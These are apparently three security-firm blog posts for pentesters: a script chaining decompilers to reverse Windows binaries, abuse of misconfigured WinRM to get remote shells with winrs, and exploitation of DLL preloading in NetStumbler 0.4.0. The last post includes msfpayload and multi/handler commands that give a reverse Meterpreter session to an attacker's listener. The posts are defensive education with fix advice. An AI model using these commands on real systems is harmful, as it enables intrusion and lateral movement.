Binrev- Automate Reversing Windows Binaries for Pentesters

I made a script to chain together some common tools to reverse-engineer Windows applications. It has come in handy for me in several situations when an application contains hundreds of assemblies written in native C, .NET or Java.

What you can do with this?

  • Static analysis: you can do a basic manual code review for decompiled sources to discover hidden communication channels, search for hard-coded passwords, or SQL injection vulnerabilities.
  • Import decompiled projects to an IDE to reconstruct and modify the original source code
  • Call hidden native exported functions with rundll32

Here is a rough description of what it does, and what tools it is using:

  • For exe, dll files:
    • Detect and de-obfuscate for .NET libraries with de4dot
    • Decompile .NET libraries with JustDecompile
    • Zip decompiled source code to
    • Run strings against native libraries
    • Export call-able functions with dllexp. You can then try to run those functions with command Rundll32 <dll>,<function name>
    • Export dependencies with depends
    • Extract native resources with resourcesextract
  • For jar files:
    • Extract and combine java classes into a single zip file
    • Decompile java sources with procyon
    • Zip decompiled source code to



1. Configure the correct path to the  installed tools in the script:

set justdecompile="JustDecompileJustDecompile" set dllexp="dllexpdllexp"
set peverify=”peverify”
set zip="7-Zip7z"
set strings="strings"
set de4dot=" de4dot-2.0.3de4dot"
set java7="C:Program Files (x86)Javajre7binjava"
set procyon="procyon-decompiler-0.5.7.jar"

2. Run

Binrev [Source folder] [Output folder]
/java/decompiled: decompiled Java class files
/native: native win32 libraries
/native/resextract: native win32 resource files
/net/decompiled: decompiled .NET projects
/net/bin: .NET libraries and executables
/net/deobs: deobfuscated .NET libraries
/logs: strings on native libraries, exportable functions, dependencies, list of decompiled and native dlls
/other: unhandled file extensions

The script is available at


Exploiting Trusted Hosts in WinRM

Introduction – What is WinRM?

Windows Remote Management (WinRM) is a SOAP based protocol that can be used to remotely administer machines over the network. This is a handy tool for network admins that can also be used to automate tasks securely across multiple machines. However, it is fairly easy to misconfigure the service and/or abuse the service with legitimate account access.

How to mess up the WinRM configuration

In my personal experience with configuring the WinRM service, I have found it hard to get anything working correctly without completely removing security controls from the configuration. Scale my frustrations up to a domain level and you very quickly have poorly secured configs going out to hosts across a domain. It should be noted that the following commands should not be used for an actual WinRM configuration. These are just examples of the multiple ways that this service can be configured to run insecurely . Quick steps for configuring WinRM insecurely: Note: These are all commands that are run from a command shell with administrative privileges.

  1. Start the WinRM service. The only requirement to start the service is that none of your network interfaces can be set to “Public” in Windows. This typically isn’t an issue in domain environments. The command itself is not really a security issue, it’s just needed to actually run the WinRM service.winrm quickconfig
  2. Allow WinRM commands to be accepted through unencrypted channels (HTTP).winrm set winrm/config/service @{AllowUnencrypted=”true”}
  3. Allow WinRM command to be sent through unencrypted channels (HTTP).winrm set winrm/config/client @{AllowUnencrypted=”true”}
  4. Enable “Basic” network authentication for inbound WinRM connections to the server.winrm set winrm/config/service/auth @{Basic=”true”}
  5. Enable “Basic” network authentication for outbound WinRM client connections. So, when you make a WinRM connection to another host with the local WinRM client, you can authenticate using “Basic” authentication.winrm set winrm/config/client/auth @{Basic=”true”}
  6. Allow credentials to be relayed out to another host using the CredSSP protocol. This allows the host receiving commands to pass incoming credentials on to another host for authentication.winrm set winrm/config/service/auth @{CredSSP=”True”}

In order to authenticate against the service remotely, the authenticating account either has to be the same as the service account running the WinRM service, or a member of the local administrators group. This also means that any service set up to run scripted jobs through WinRM has to have access to credentials for a local administrator account.

What can we do with this?

Let’s assume that you have access to a host on a network and you have domain credentials, but there are no escalation points for you to follow on the host. If the WinRM service is set up to listen on other hosts in the domain, you may have the ability to use the service to gain remote access to the other hosts. Let’s say that you want to gain remote access to host on the domain, but RDP is not enabled (or your account does not have RDP access). The open ports 5985 and 5986 (TCP) indicate that the WinRM service may be running on the remote host. You can identify the service with the following command:

winrm identify -r: –auth:none

The response should look something like this:

IdentifyResponse ProtocolVersion = ProductVendor = Microsoft Corporation ProductVersion = OS: 6.1.7601 SP: 1.0 Stack: 2.0

Once you’ve determined the service is running, you can try to run commands against the remote host with the Windows Remote Shell (winrs) command:

winrs -r: -u:domainnameuseraccount “dir c:”

You can also use this with HTTPS on port 5986, as that may be your only option. If you change the “dir c:” to “cmd” you will have a remote shell on the host. That should look something like this:

winrs -r: -u:domainnameuseraccount “cmd”

While the remote shell will only be running under your account’s privileges, there may be other escalation options on your new host.


As you can see, the WinRM service can be very powerful and useful for legitimately administering systems on the domain. It also can be used by attackers to work their way through the internal network. With any network service, determine your business need for the service before it is implemented. If the service is needed, then ensure that the service is securely configured before it is deployed. If you’re thinking about using WinRM, make sure that you only allow specific trusted hosts and limit users in your local administrators groups.


Testing Applications for DLL Preloading Vulnerabilities

DLL preloading (also known as sideloading and/or hijacking) is a common vulnerability in applications. The exploitation of the vulnerability is a simple file write (or overwrite) and then you have an executable running under the context of the application. The vulnerability is fairly easy to identify and even easier to exploit. In this blog, I will be showing you how identify and exploit DLL preloading vulnerabilities, as well as give you tips on how you can protect yourself from these vulnerabilities.

What is it?

DLL preloading happens when an application looks to call a DLL for execution and an attacker provides a malicious DLL to use instead. If the application is not properly configured, the application will follow a specific search path to locate the DLL. The application initially looks at its current directory (the one where the executable is located) for the DLL. If the DLL is not found in this location, the application will then continue on to the current working directory. This can be very helpful if the malicious DLL can be loaded along with a file, as the file and DLL can be accessed by multiple people on a network share. From there it’s on to the system directory, followed by the Windows directory, finally looking in the PATH environmental variable for the DLL. Properly configured applications will require specific paths and/or proper signatures for DLLs in order to use them. If an attacker has write access to the DLL or a location earlier within the search path, they can potentially cause the application to preload their malicious DLL.

How to identify vulnerable DLLs

Personally, I like to use Dependency Walker for static analysis on all of the DLLs that are called by the application. Note that Dependency Walker will not catch DLLS that are compiled into the application. For a more dynamic approach, you can use ProcMon. ProcMon can be used to identify vulnerable applications by identifying DLLs called during runtime. Using ProcMon for the Net Stumbler program, we can see that the application makes multiple calls to the MFC71ENU.DLL file.


We identify vulnerable DLLs by the locations that they are called from. If the location is controlled by an attacker, the application is potentially vulnerable. Here we can see that NetStumbler (version 0.4.0) is looking for the mfc71enu.dll file in a number of different directories, including the tools directory from which I opened a .ns1 NetStumbler file. This is not a guarantee that the application is vulnerable. The application may use some secondary measures (integrity checks) to prevent DLL tampering, but this is at least a good start for trying to attack the application.

How to exploit it

Once a vulnerable DLL is identified, the attack is fairly simple.

  1. Craft your malicious DLL with Metasploit
    1. msfpayload PAYLOAD LHOST= LPORT=8443 D > malicious_DLL.dll
      1. PAYLOAD, LHOST, and LPORT are up to you
      2. D denotes that you are creating a DLL payload
    2. Place the replacement DLL in the vulnerable directory and rename it to the name of the vulnerable DLL.
    3. Set up your listener
      1. Run the Metasploit console
      2. msf > use exploit/multi/handler
      3. msf exploit(handler) > set LHOST
      4. msf exploit(handler) > set LPORT 8443
      5. msf exploit(handler) > exploit –j
        1. This will start the listener as a job, allowing you to handle multiple ses-sions.
    4. Run the application (or open your file with the DLL in the same folder). Once the applica-tion makes the call to the vulnerable DLL, the Meterpreter payload will execute. If this is done on a network share, this could have a much greater impact.
    5. The Metasploit sessions –l will list out the active sessions and sessions –i (SessionNumber) will let you interact with the session.

For this version of Net Stumbler (0.4.0), the application is vulnerable through the mfc71enu.dll file. Below is an example of a malicious DLL placed in the directory of a Net Stumbler file. When the TestStuble.ns1 file is opened, the application will use the malicious DLL located in the current directory and create a Meterpreter session.


How to fix it or prevent it

DLL preloading can be a helpful attack during a penetration test, but it doesn’t have to be a pain to fix.

For application developers:

  • Require set paths for DLLs in applications

For system administrators:

  • Disable write permissions to relative application folders
  • Utilize least privilege access to prevent users (and applications) from having too much access to the system

For both groups:


As you can see, DLL preloading is still a common issue with applications. Hopefully this blog can help give you some insight on how the attack works and what you can do to lock down your applications to prevent this issue.

If you want some examples of vulnerable applications, ExploitDB has a great list.

Discover why security operations teams choose NetSPI.